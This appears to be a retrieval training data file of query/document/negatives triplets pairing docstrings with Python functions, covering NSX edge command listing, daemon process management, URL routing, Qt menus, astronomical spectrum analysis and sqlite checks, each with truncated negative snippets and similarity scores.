Logs in to given NSX edge in enable mode with specified credentials and fetches the list of all supported commands. Returns the list of commands in a pyset object. Refer /VDNetLib/TestData/Edge/list_command_enable_mode for output format
def get_all_supported_commands_enable_mode( cls, client_object, **kwargs): pydict = dict() try: if "password" in kwargs: password = kwargs["password"] pylogger.info("trying to create an expect connection " "with %s" %...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_all_supported_commands_configure_mode(cls, client_object,\n **kwargs):\n pydict = dict()\n\n try:\n if \"password\" in kwargs:\n pwd = kwargs[\"password\"]\n pylogger.info(\"trying to create an expect co...
[ "0.6705702", "0.66978204", "0.5725764", "0.5724217", "0.569081", "0.5650631", "0.56415504", "0.5569029", "0.556437", "0.55634505", "0.55406326", "0.5539092", "0.54985934", "0.5491004", "0.5447574", "0.54346836", "0.54318064", "0.54090124", "0.54086053", "0.5407843", "0.540509...
0.7370529
0
Logs in to given NSX edge in admin mode with specified credentials and fetches the list of all supported commands. Returns the list of commands in a pyset object. Refer /VDNetLib/TestData/Edge/list_command_admin_mode for output format
def get_all_supported_commands_admin_mode( cls, client_object, **kwargs): pydict = dict() EXPECT_PROMPT = ['bytes*', 'NSXEdge>'] try: if "password" in kwargs: password = kwargs["password"] pylogger.info("trying to create an expect connecti...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_admin_commands(self):\n\n return []", "def get_all_supported_commands_enable_mode(\n cls, client_object, **kwargs):\n pydict = dict()\n\n try:\n if \"password\" in kwargs:\n password = kwargs[\"password\"]\n pylogger.info(\"trying t...
[ "0.6680752", "0.65000904", "0.64158475", "0.6281375", "0.6140795", "0.60326713", "0.5936857", "0.5907522", "0.58782774", "0.5867255", "0.58409363", "0.5823446", "0.581068", "0.5809843", "0.5808537", "0.5794938", "0.57770985", "0.5762379", "0.5757621", "0.57531905", "0.5749414...
0.74650776
0
Returns a URL routing map.
def _url_map(self): return Map([ Rule('/init', endpoint='init'), Rule('/op/<name>', endpoint='op'), Rule('/handler/<name>', endpoint='handler'), Rule('/hook/<name>', endpoint='hook'), Rule('/provider/<name>/<action>', endpoint='provider'), ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _get_route_map(self):\n return self.__route_map", "def _get_static_route_map(self):\n return self.__static_route_map", "def getRoutes(self):\n pass", "def routes(self) -> dict:\n return dict(self._routes)", "def __load_url_mapping():\n try:\n return pickle.load(ope...
[ "0.7353938", "0.7165223", "0.67132634", "0.66939783", "0.65801114", "0.65481675", "0.63465804", "0.63140154", "0.62862766", "0.62615585", "0.6244948", "0.62230307", "0.6213555", "0.61991996", "0.6119265", "0.6074406", "0.6070507", "0.60647005", "0.60574454", "0.60370785", "0....
0.7113546
2
Application from the view of the plugin web server.
def dispatch(self, request): # Returns an HTTP response in JSON format try: output = self._dispatch(request) except Exception as e: self.logger.exception("exception while handling request") output = dict(error=_serialize_exc(e).as_dict()) return Respo...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def app(self):\r\n return self._app", "def app(self):\n return self.__app", "def load(self):\n return self.app", "def app():\n return aplicattion", "def get_app(self):\n app.init_options()\n return app.NBViewer().tornado_application", "def app(self):\n return self...
[ "0.70819473", "0.6994609", "0.6908529", "0.6902921", "0.6642798", "0.6547554", "0.64897525", "0.6466236", "0.6432569", "0.64124876", "0.62768793", "0.62710583", "0.62506086", "0.6240739", "0.6109747", "0.6109747", "0.6094302", "0.6089479", "0.60864544", "0.6040137", "0.602493...
0.0
-1
Dispatches request to a plugin extension point function.
def _dispatch(self, request): endpoint, values, context, param = self.read_request(request) if endpoint == 'init': parse_config(param.get('config', {})) return self.init_info() else: if endpoint == 'provider': return self.call_provider(context,...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def request_plugins(self):", "def main():\n\n addon_url = sys.argv[0]\n addon_handle = int(sys.argv[1])\n addon_args = urlparse.parse_qs(sys.argv[2][1:])\n\n # Route request to action.\n Plugin(addon_url, addon_handle, addon_args).route()", "def _call_extension_method(self, fn, message):\n ...
[ "0.6182896", "0.60654825", "0.5999418", "0.5750589", "0.57433254", "0.55819374", "0.54516244", "0.5428023", "0.53917724", "0.5383291", "0.538233", "0.53639376", "0.5346315", "0.53431094", "0.5289228", "0.5273911", "0.5273911", "0.52669096", "0.5262374", "0.5262374", "0.523103...
0.53393096
14
Reads and returns HTTP request.
def read_request(self, request): adapter = self.url_map.bind_to_environ(request.environ) endpoint, values = adapter.match() request_data = request.get_data(as_text=True) param = json.loads(request_data) if request_data else {} context_data = request.headers.get('X-Skygear-Plugi...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def read(self) -> requests.request:\n # Check if id is set,\n if self.args.id is not None:\n self.REQUEST_URL += str(self.args.id)\n\n # Send GET request\n return requests.get(self.REQUEST_URL)", "def getRequest(self):\n req = self.conn.readline()\n return req...
[ "0.7676063", "0.72512853", "0.7148997", "0.711475", "0.6938989", "0.6757696", "0.67054754", "0.6646757", "0.66132784", "0.6546", "0.64559984", "0.6410261", "0.6371428", "0.63519686", "0.6318279", "0.6293363", "0.62406266", "0.6238369", "0.6229538", "0.62245214", "0.6203459", ...
0.6139077
28
Start the web server.
def run(self): run_simple(self.hostname, self.port, self.dispatch, use_reloader=self.debug)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def webserver_start():\n run(_webserver_command())", "def start(self):\n self.serve_forever()", "def start(self):\n self.serve_forever()", "async def serve_web(self):\n interface = \"0.0.0.0\" if settings.PUBLIC_ACCESS else \"127.0.0.1\"\n port = settings.WEB_PORT\n self...
[ "0.84706223", "0.7873367", "0.7873367", "0.78726435", "0.77307737", "0.7623954", "0.76165986", "0.7615923", "0.74976814", "0.7448892", "0.74249154", "0.7343372", "0.7278894", "0.7235526", "0.72213155", "0.7217637", "0.71441376", "0.70969987", "0.7085532", "0.7061068", "0.7057...
0.0
-1
Returns the requested feed mapping in full detail.
def GetFeedMapping(self, request, context): context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!')
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mapping(self):\n return self.request('_mapping', pylastica.request.Request.GET).data", "def mapping(self):\n return self._mapping", "def get_mapping(self, ksf: str) -> InfoResMapping:\n irm = self.InfoResMapping(self, ksf)\n return irm", "def fetch_feed_info(self, feed_id, **a...
[ "0.68629384", "0.62572795", "0.60798997", "0.58722365", "0.5785852", "0.5674382", "0.56176364", "0.5599174", "0.5591916", "0.5589625", "0.5589625", "0.5546687", "0.5471261", "0.5436539", "0.5412401", "0.5396489", "0.5345145", "0.5282653", "0.5278532", "0.5265632", "0.5265388"...
0.62662977
2
Creates or removes feed mappings. Operation statuses are returned.
def MutateFeedMappings(self, request, context): context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!')
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_mapping(self):\n\n indice = client.IndicesClient(self.es)\n\n indice.put_mapping(index=self.es_main_index,\n doc_type=self.es_main_type,\n body=self.mapping)", "def bulk_update_mappings(\n self, mapper: Mapper[Any], mappings: Ite...
[ "0.53210986", "0.5282509", "0.5193511", "0.51220226", "0.5118502", "0.5118434", "0.5047823", "0.5047823", "0.50096697", "0.5001195", "0.4983614", "0.49467513", "0.49398443", "0.49174434", "0.49069437", "0.48667857", "0.48645493", "0.48289153", "0.47788695", "0.4766776", "0.47...
0.59377956
1
Fork off a background thread for execution. When this method returns, it will be on the new process. This will also populate the PID file with the new process id. This uses the UNIX doublefork magic, see Stevens' "Advanced Programming in the UNIX Environment" for details (ISBN 0201563177)
def __daemonize(self): # The double fork thing is required to really dettach the eventual process for the current one, including # such weird details as making sure it can never be the session leader for the old process. # Do the first fork. try: pid = os.fork() ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def doTask(self):\n\n def signal_cb(s, f):\n os._exit(0)\n\n for s in signal.SIGTERM, signal.SIGINT, signal.SIGHUP, signal.SIGQUIT:\n signal.signal(s, signal_cb)\n\n # write pidfile\n def atexit_cb():\n print(\"Exit fork\")\n\n atexit.register(ate...
[ "0.6289691", "0.6277763", "0.6235509", "0.6211188", "0.61053115", "0.59950376", "0.59734493", "0.5932291", "0.5924541", "0.59134763", "0.5890534", "0.5890318", "0.58181685", "0.5802295", "0.57700944", "0.57442904", "0.5697643", "0.56894493", "0.56711257", "0.5625068", "0.5620...
0.6278399
1
Deletes the pid file
def delpid(self): os.remove(self.pidfile)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_pid_file(self):\n try:\n os.remove(self.pid_file)\n except OSError:\n pass", "def remove_pid_file(self):\n if os.path.exists(self._pid_file):\n os.remove(self._pid_file)", "def del_PID(self):\n path = os.path.join(self.user_directory, \"tm...
[ "0.8517822", "0.8381771", "0.816787", "0.78856957", "0.7688448", "0.76865345", "0.76748455", "0.729547", "0.72587764", "0.71089035", "0.7020622", "0.6995271", "0.683631", "0.68144697", "0.675983", "0.6748893", "0.67272884", "0.6714067", "0.6713783", "0.67122567", "0.6710249",...
0.7796584
5
Reads the pid file and returns the process id contained in it. This also verifies as best as it can that the process returned is running and is really an agent process. The id of the agent process or None if there is none or it cannot be read.
def __read_pidfile(self): try: pf = file(self.pidfile, 'r') contents = pf.read().strip().split() pf.close() except IOError: return None pid = int(contents[0]) try: os.kill(pid, 0) except OSError, e: # ESRCH ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getPid(self):\n try:\n fh = open(self.filename)\n except OSError:\n return None\n line = fh.readline()\n try:\n return string.atoi(line) # trailing newline doesn't matter\n except ValueError:\n return None", "def get_pid(self):\n...
[ "0.7579522", "0.74366933", "0.7350737", "0.72607666", "0.707823", "0.6928475", "0.68607014", "0.6809271", "0.68042326", "0.67258936", "0.6717959", "0.6676065", "0.6591127", "0.64635587", "0.64168656", "0.63849145", "0.63500375", "0.6348595", "0.62905115", "0.6233244", "0.6230...
0.79762614
0
Returns True if the commandline arguments for the specified process can be read.
def __can_read_command_line(self, pid): return os.path.isfile('/proc/%d/cmdline' % pid)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def depends_on_process(self, process):\n for output_resource in process.iter_outputs():\n if self.has_input(output_resource):\n return True\n return False", "def check_arguments(self):\n self.check_num_arguments()\n self.are_readable_files(self.args)", "def...
[ "0.65596586", "0.6360689", "0.6212573", "0.61894363", "0.6104708", "0.6048994", "0.6045347", "0.5974168", "0.59560287", "0.58320457", "0.5827571", "0.5820868", "0.5817725", "0.58135414", "0.57502115", "0.5743185", "0.5727226", "0.56809455", "0.5666836", "0.56435555", "0.56362...
0.7529902
0
Reads the commandline arguments for the specified pid and returns the contents.
def __read_command_line(self, pid): pf = None try: pf = file('/proc/%d/cmdline' % pid, 'r') return pf.read().strip() finally: if pf is not None: pf.close()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ReadArguments():\n\n args = ParseArguments()\n\n logging.info('Command line arguments...')\n for arg in vars(args):\n logging.info(str(arg) + ': ' + str(getattr(args, arg)))\n logging.info('')\n\n IsTest(args)\n ProcessCacheSize(args)\n ProcessLineSize(args)\n ProcessMulti(args)\...
[ "0.65537363", "0.6036514", "0.5997907", "0.5957874", "0.5922425", "0.5763637", "0.57568336", "0.57552546", "0.57092315", "0.5705053", "0.56773204", "0.5660786", "0.56368196", "0.5633759", "0.56327707", "0.56173635", "0.5616477", "0.55958754", "0.5568026", "0.55643076", "0.556...
0.6990076
0
Restarts this process with the same arguments as the specified user. This will rerun the entire Python script so that it is executing as the specified user. It will also add in the 'nochangeuser' option which can be used by the script being executed with the next proces that it was the result of restart so that it prob...
def run_as_user(self, user_id, script_file): user_name = pwd.getpwuid(user_id).pw_name if os.geteuid() != user_id: if os.geteuid() != 0: print >>sys.stderr, ('Failing, cannot start scalyr_agent as correct user. The current user (%s) does ' ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def restart(reason, *args, **kwargs):\n logging.info(\"Restarting: %s\" % reason)\n os.execv(sys.argv[0], sys.argv)", "def restart(self):\n print \"Restarting \" + executable + \" \" + str(argv) \n execl(executable, *([executable]+argv))", "def restart(self, mess, args):\n user = sel...
[ "0.6738281", "0.66581166", "0.64384735", "0.63754", "0.622985", "0.61730623", "0.6011982", "0.6011982", "0.5977831", "0.5901327", "0.5768385", "0.57671297", "0.5751957", "0.5743542", "0.5737197", "0.57100517", "0.56676847", "0.56481004", "0.5641337", "0.5599872", "0.55628854"...
0.578629
10
Exit the process with a nonzero status if the agent is already running.
def fail_if_already_running(self): pid = self.__read_pidfile() if pid: message = "The agent appears to be running pid=%d. pidfile %s does exists.\n" sys.stderr.write(message % (pid, self.pidfile)) sys.exit(1)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def processEnded(self, status):\r\n self.pid = None\r\n statusMap = {\r\n 0: ProcessDone,\r\n 1: ProcessTerminated,\r\n }\r\n self.proto.processEnded(Failure(statusMap[status](status)))", "def exit(status=None): # real signature unknown; restored from __doc__\n ...
[ "0.6195423", "0.6041457", "0.60360324", "0.59795636", "0.5978203", "0.59733963", "0.59637934", "0.5955729", "0.59308636", "0.5870076", "0.5870076", "0.58643895", "0.5832923", "0.5810707", "0.5802401", "0.579938", "0.57855886", "0.5770318", "0.5765552", "0.5759777", "0.5756108...
0.66552776
0
Start the daemon process by forking a new process.
def start_daemon(self, run_method, handle_terminate_method): # Check for a pidfile to see if the daemon already runs self.fail_if_already_running() # noinspection PyUnusedLocal def handle_terminate(signal_num, frame): handle_terminate_method() original = signal.sign...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _fork(self):\n if (self._daemonExists()):\n print \"[Error] Could not be daemonized: already in memory\"\n sys.exit(1)\n try:\n pid = os.fork()\n if (pid > 0):\n sys.exit(0)\n except OSError, e:\n print \"[Error] Fork #1...
[ "0.749646", "0.7203077", "0.7146238", "0.711032", "0.70197386", "0.6975953", "0.6922445", "0.6911308", "0.6902939", "0.6892495", "0.68277895", "0.6814621", "0.6812386", "0.6738078", "0.6732671", "0.67088395", "0.66640806", "0.665811", "0.66480196", "0.66118324", "0.6604954", ...
0.0
-1
Sleeps for at most the specified number of seconds while also handling signals. Python does not do a great job of handling signals quickly when you invoke the normal time.sleep(). This method is a Unixspecific implementation of a sleep that should do better quickly handling signals while sleeping. This method may retur...
def sleep(self, seconds): # We schedule an alarm signal for x=seconds out in the future. # noinspection PyUnusedLocal def handle_alarm(signal_num, frame): pass signal.signal(signal.SIGALRM, handle_alarm) signal.alarm(seconds) # Wait for either the alarm to ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sleep(self, seconds):\n ten_ms_steps = int(round(seconds * 100))\n for _i in xrange(0,ten_ms_steps):\n if self._sequence_stop_signal:\n break\n sleep(0.01)", "def sleep(seconds):\n\n # Check seconds to ensure it is a valid type.\n if type(seconds) not in [...
[ "0.70630014", "0.7060907", "0.7036341", "0.69794136", "0.6970344", "0.696298", "0.6951769", "0.6951769", "0.69417673", "0.67783153", "0.67622095", "0.66984147", "0.66940546", "0.662884", "0.6621498", "0.6614137", "0.64386445", "0.6405465", "0.6392214", "0.63817585", "0.627401...
0.7286979
0
Invoked by a process that is not the agent to request the current agent dump the current detail status to the status file. This is used to implement the 'scalyragent2 status v' feature.
def request_status(self): pid = self.__read_pidfile() if pid is None: return errno.ESRCH try: os.kill(pid, signal.SIGINT) except OSError, e: if e.errno == errno.ESRCH or e.errno == errno.EPERM: return e.errno raise e ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _print_status(self):", "def dump_pre(self,status):\n pass", "def status():\n pass", "def _set_status(self, action, status):\n cmd = \"curl http://{}:{}@{}/{}s.cgi?led={}\".format(self.config['username'],\n self.config['password'],...
[ "0.6259301", "0.5889832", "0.5660393", "0.56054705", "0.56029063", "0.55621153", "0.5551883", "0.5544004", "0.5534652", "0.5529572", "0.5527944", "0.5524694", "0.55211693", "0.5517558", "0.5515799", "0.5509242", "0.5508341", "0.5480574", "0.54315984", "0.54243475", "0.5406716...
0.0
-1
Register a method to be invoked if this process is requested to report its status. This is used to implement the 'scalyragent2 status v' feature.
def register_for_status_requests(self, handler): # noinspection PyUnusedLocal def wrapped_handler(signal_num, frame): handler() signal.signal(signal.SIGINT, wrapped_handler)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def register_status_field(self, field, function):\n log.debug(\"Registering status field %s with PluginManager\", field)\n self.status_fields[field] = function", "def register(self):\n # self.register_route(\"GET\", self.__route, lambda req, res: self.status(req, res))\n self.register...
[ "0.678725", "0.64489293", "0.62993747", "0.6102606", "0.60950255", "0.59684247", "0.5851223", "0.57558054", "0.55960464", "0.559491", "0.5582685", "0.5523307", "0.55052733", "0.5495622", "0.54884654", "0.5461542", "0.5444448", "0.5417881", "0.5412368", "0.54061866", "0.540593...
0.5100578
73
Returns CPU and memory usage information. It returns the results in a tuple, with the first element being the number of CPU seconds spent in user land, the second is the number of CPU seconds spent in system land, and the third is the current resident size of the process in bytes.
def get_usage_info(self): usage_info = resource.getrusage(resource.RUSAGE_SELF) user_cpu = usage_info[0] system_cpu = usage_info[1] rss_size = usage_info[2] return user_cpu, system_cpu, rss_size
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_total_cpu_time_and_memory_usage() -> Tuple[float, int]:\n me = resource.getrusage(resource.RUSAGE_SELF)\n children = resource.getrusage(resource.RUSAGE_CHILDREN)\n total_cpu_time = me.ru_utime + me.ru_stime + children.ru_utime + children.ru_stime\n total_memory_usage = me.ru_maxrss + children.r...
[ "0.8176625", "0.7808941", "0.7579237", "0.7543515", "0.7478074", "0.7445209", "0.73848224", "0.73599404", "0.7351578", "0.73352563", "0.73092437", "0.73081726", "0.72933537", "0.72700363", "0.7250576", "0.72455794", "0.7233994", "0.7216275", "0.7215389", "0.71842796", "0.7151...
0.78645474
1
==> not_blank validator invalid value should return False
def test_not_blank_validator_invalid_value_should_return_false(self): for item in self.stdtype_fixtures: self.assertFalse(NotBlankValidator(TypeHint(item.get('type')), item.get('invalid')))
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def validate_nonblank(value):\n return value", "def not_null(value):\n if value is None or value == \"\":\n raise ValidationError(\"The value must not be None\")\n\n return True", "def test_non_required_validation(self):\r\n Text().validate('')\r\n Text().validate(None)", "def t...
[ "0.8041213", "0.75712484", "0.7519172", "0.7282054", "0.7273785", "0.70060664", "0.6987683", "0.6987678", "0.692984", "0.6898574", "0.687864", "0.6871495", "0.6849818", "0.68145436", "0.6790539", "0.6736077", "0.6633565", "0.6633565", "0.6632443", "0.6621547", "0.6590219", ...
0.7416382
3
==> not_blank validator valid value should return True
def test_not_blank_validator_valid_value_should_return_true(self): for item in self.stdtype_fixtures: self.assertTrue(NotBlankValidator(TypeHint(item.get('type')), item.get('valid')))
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def validate_nonblank(value):\n return value", "def not_null(value):\n if value is None or value == \"\":\n raise ValidationError(\"The value must not be None\")\n\n return True", "def test_non_required_validation(self):\r\n Text().validate('')\r\n Text().validate(None)", "def m...
[ "0.84752697", "0.7618759", "0.7609145", "0.7385172", "0.71957517", "0.7188503", "0.7157519", "0.7147099", "0.7112118", "0.709398", "0.706181", "0.70074767", "0.6995824", "0.6968558", "0.69434565", "0.69434565", "0.69387555", "0.69298834", "0.6877457", "0.68697286", "0.6836154...
0.73508567
4
Allocate a LeNetConvPoolLayer with shared variable internal parameters.
def compute_output(self, input_images, filter_shape, image_shape, poolsize=(2, 2), Pstruct = None, b= None): assert image_shape[1] == filter_shape[1] # the bias is a 1D tensor -- one bias per output feature map # convolve input feature maps with filters batch_size =...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allocate_primal_variables_conv(layer):\n\n assert layer.isconv\n\n gpu_vars = ((layer.l, [1]),\n (layer.k, [1]))\n cpu_vars = ()\n\n heavy_vars = ((layer.W_i, [Cfg.n_batches] + layer.W_shape),\n (layer.b_i, [Cfg.n_batches] + layer.b_shape),\n (layer....
[ "0.6484896", "0.63474053", "0.61435354", "0.6093613", "0.6034875", "0.5955037", "0.5924966", "0.58552825", "0.58304787", "0.58022577", "0.5798433", "0.5787357", "0.5782767", "0.57795924", "0.5775235", "0.57723147", "0.5771049", "0.5768457", "0.5767083", "0.57615626", "0.57582...
0.0
-1
Convolve one image with separabl filters.
def convolve_one_image(self,input4D, one_image, image_shape, Pstruct, filter_shape, image_index, channel_index): ## We look at the composition for the first channel in the beginning rank ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def convolve(self, *args, **kwargs):\n return _image.image_convolve(self, *args, **kwargs)", "def MyConvolve(img, ff):\n result = np.zeros(img.shape)\n x_len = img.shape[0]\n y_len = img.shape[1]\n\n ff = np.flipud(np.fliplr(ff)) # Flip filters\n\n # Apply filter to pixels\n for x in r...
[ "0.7495514", "0.69816136", "0.6926627", "0.6658543", "0.6642495", "0.6620933", "0.66170156", "0.65827525", "0.65733373", "0.65717804", "0.6559641", "0.64966655", "0.6421656", "0.6419542", "0.6402899", "0.64008325", "0.63947445", "0.6285137", "0.62369514", "0.62244105", "0.621...
0.69993824
1
Check that all output files are produced and are equivalent to the ones in goldStandard folder.
def _checkOutputs(self, outputs, random=False, errorthreshold=0.001): for out in outputs: outFile = os.path.join(self._testDir, self.outputDir, out) fileGoldStd = os.path.join(self.goldDir, out) # Check the expect output file was produced msg = "Missi...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_generated_files(out_dir, output_list_file):\n xcpd_dir = os.path.join(out_dir, \"xcp_d\")\n found_files = sorted(glob(os.path.join(xcpd_dir, \"**/*\"), recursive=True))\n found_files = [os.path.relpath(f, out_dir) for f in found_files]\n\n # Ignore figures\n found_files = [f for f in found...
[ "0.6592521", "0.658346", "0.6503008", "0.6485635", "0.64343256", "0.63431185", "0.62933356", "0.6255054", "0.6212415", "0.6163191", "0.6134901", "0.6122998", "0.60994726", "0.60929835", "0.6076817", "0.60678595", "0.6047929", "0.60258394", "0.6014823", "0.5997116", "0.5986643...
0.7571529
0
Show the list of tests available
def visitTests(tests, grepStr=''): # First flatten the list of tests. testsFlat = [] toCheck = [t for t in tests] while toCheck: test = toCheck.pop() if isinstance(test, unittest.TestSuite): toCheck += [t for t in test] else: if grepStr in str(type(test))...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def list(self):\n print \"\\nAvailable Test Cases\"\n print \"====================\"\n for case in self.cases:\n print case.__name__", "def List(ctx):\n \"\"\"Note: This method is available only through the per-node API endpoint 5.0 or later.\"\"\"\n if ctx.element is None:\...
[ "0.81306", "0.752024", "0.7426448", "0.7196045", "0.7006444", "0.6998866", "0.6871176", "0.66988766", "0.66961116", "0.6688637", "0.66804945", "0.6644161", "0.6633637", "0.6618278", "0.6606676", "0.66046643", "0.6583634", "0.6513794", "0.6508603", "0.64791256", "0.64602757", ...
0.0
-1
Create a context menu for the widget (the main widget for this view)
def make_context_menu(self, widget): self.context_menu_widget = widget self.context_menu_widget.setContextMenuPolicy(Qt.CustomContextMenu) self.context_menu_widget.customContextMenuRequested.connect(self.request_context_menu) self.context_menu = QMenu()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def widget_ctx_menu(self):\n def toggle_step():\n self.showStepExponent = not self.showStepExponent\n\n def toggle_write():\n self.writeOnPress = not self.writeOnPress\n\n menu = self.lineEdit().createStandardContextMenu()\n menu.addSeparator()\n ac = menu.a...
[ "0.7556599", "0.74964786", "0.7235469", "0.714675", "0.6928441", "0.6839094", "0.68082815", "0.6805799", "0.68024814", "0.6796827", "0.6790282", "0.677154", "0.676619", "0.6764652", "0.67637086", "0.67262745", "0.6709449", "0.66774523", "0.6611824", "0.6609954", "0.6595786", ...
0.77636343
0
Called when the user ask for the context menu to be displayed
def request_context_menu(self, pos): pass
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def aboutToShowContextMenuEvent(self):\n\t\tpass", "def on_context_menu(self, event):\n self.declaration.context_menu_event()", "def menuItem(*args):\n\toptionsWindow()", "def contextMenuEvent(self, event):\r\n self.selected = self.selectionModel().selection().indexes()\r\n #define conte...
[ "0.80472374", "0.7806012", "0.7160254", "0.7143111", "0.71020985", "0.70976084", "0.70913017", "0.707293", "0.70004404", "0.6945375", "0.6849606", "0.6653557", "0.6650725", "0.6612184", "0.6604826", "0.6507256", "0.6503054", "0.65004635", "0.64460015", "0.643394", "0.6427838"...
0.77882445
2
Display a message for a level ([information|warning|critical])
def display_message(self, message, level="information"): box = QMessageBox(self.win) box.setText(message) box.setWindowTitle(QApplication.applicationName()) if level == "critical": box.setIcon(QMessageBox.Critical) elif level == "warning": box.setIcon(QMes...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def info(cls, message, level=0):\n\n if cls.print_level == 3 or (cls.print_level == 2 and level >= 1) or \\\n (cls.print_level == 1 and level >= 2):\n print(cls.marker_theme.info(level) + cls.time() + cls.parse(message))", "def logecho(message, level='info'):\n if level == 'er...
[ "0.69890195", "0.6986334", "0.6867212", "0.6637969", "0.6624474", "0.65813017", "0.65588874", "0.6520466", "0.65200734", "0.6480595", "0.6472949", "0.6447583", "0.644437", "0.64311856", "0.6404998", "0.6400644", "0.6340959", "0.6323724", "0.63206923", "0.63160765", "0.6312165...
0.65151227
9
Calculate the mean of the continuum values. This is based on precalculated regions where there is no gas expected.
def get_mean_continuum(velocity, flux, continuum_start_vel, continuum_end_vel, verbose=False): vel_filt = (continuum_start_vel < velocity) & (continuum_end_vel > velocity) if np.sum(vel_filt) ==0: return None, None continuum_sample = flux[vel_filt] # print ("...gave sample of", continuum_sampl...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def calccalmean(self,blk):\n calind=self.getcalind(blk)\n x=self.spec[calind,:]\n return np.nanmean(x,axis=0)", "def get_mean(self):\n mean = np.array(np.zeros((4,8)))\n for i,c in enumerate(self.cellLines):\n for j,l in enumerate(self.ligands):\n mean...
[ "0.7052281", "0.70022583", "0.6836501", "0.67878973", "0.66830766", "0.6561998", "0.65587413", "0.6538516", "0.6484837", "0.64737624", "0.6393934", "0.6335181", "0.6335181", "0.6294254", "0.625073", "0.62420785", "0.62051266", "0.61906457", "0.6169211", "0.6154371", "0.613845...
0.61078614
24
Output a plot of opacity vs LSR velocity to a specified file.
def plot_absorption_spectrum(velocity, optical_depth, filename, title, con_start_vel, con_end_vel, sigma_tau, range=None, figure=None): fig = figure if figure else plt.figure(figsize=(8, 4.8)) plt.plot(velocity/1000, optical_depth, lw=1) if range: plt.xlim(range) if len(sigma_tau) > 0: ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def plot(filename):\n\tdata = np.load(filename)\n\tAlpha = data['ALPHA']\n\tCn = data['NFE']\n\tCf = data['FFE']\n\tP = data['PHINORM']\n\tSr = data['STABILITY']\n\tFlag = data['FLAG']\n\tIter = data['ITER']\n\tF = data['F']\n\tD = data['D']\n\tE = data['EPSILON']\n\tdelta = data['DELTA']\n\n\t#auxiliary variables...
[ "0.6259009", "0.608302", "0.59657735", "0.5936305", "0.5931861", "0.5881919", "0.5863998", "0.58554614", "0.5854746", "0.58307076", "0.581678", "0.5735933", "0.56989706", "0.56901026", "0.56686246", "0.5663134", "0.56266135", "0.561091", "0.56006867", "0.5557434", "0.55572844...
0.5578571
19
Calculates the Brown et al 2014 (2014ApJS..211...29B) quality rating for a spectrum. Note that two tests, the absorption uncertainty envelope and number of channels of emission are not currently included.
def calc_rating(opacity_range, max_s_max_n, continuum_sd): rating_codes = 'ABCDEF' rating = 0 if opacity_range > 1.5: rating += 1 if max_s_max_n < 3: rating += 1 if continuum_sd*3 > 1: rating += 1 return rating_codes[rating]
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def quality(self):\n return self.plays * self.number", "def rsrq_quality_rating(value, unit):\n\n if unit != \"dB\":\n raise ValueError(\"Unsupported unit '{:}'\".format(unit))\n\n rating = 0\n if value > -6:\n rating = 4\n elif -6 >= value > -9:\n rating = 3\n elif -9 >= v...
[ "0.6180821", "0.6005725", "0.5951447", "0.59013486", "0.5731976", "0.57061714", "0.5678878", "0.56183034", "0.55989116", "0.5588643", "0.5533275", "0.55146295", "0.5502157", "0.54975", "0.54744405", "0.5450239", "0.5447452", "0.54400784", "0.5409237", "0.5400375", "0.5395887"...
0.57456297
4
Queries database to see if table_name exists in tables.
def check_table_exists(curs, table_name): return curs.execute("""SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name=?;""", (table_name,)).fetchone()[0] != 0
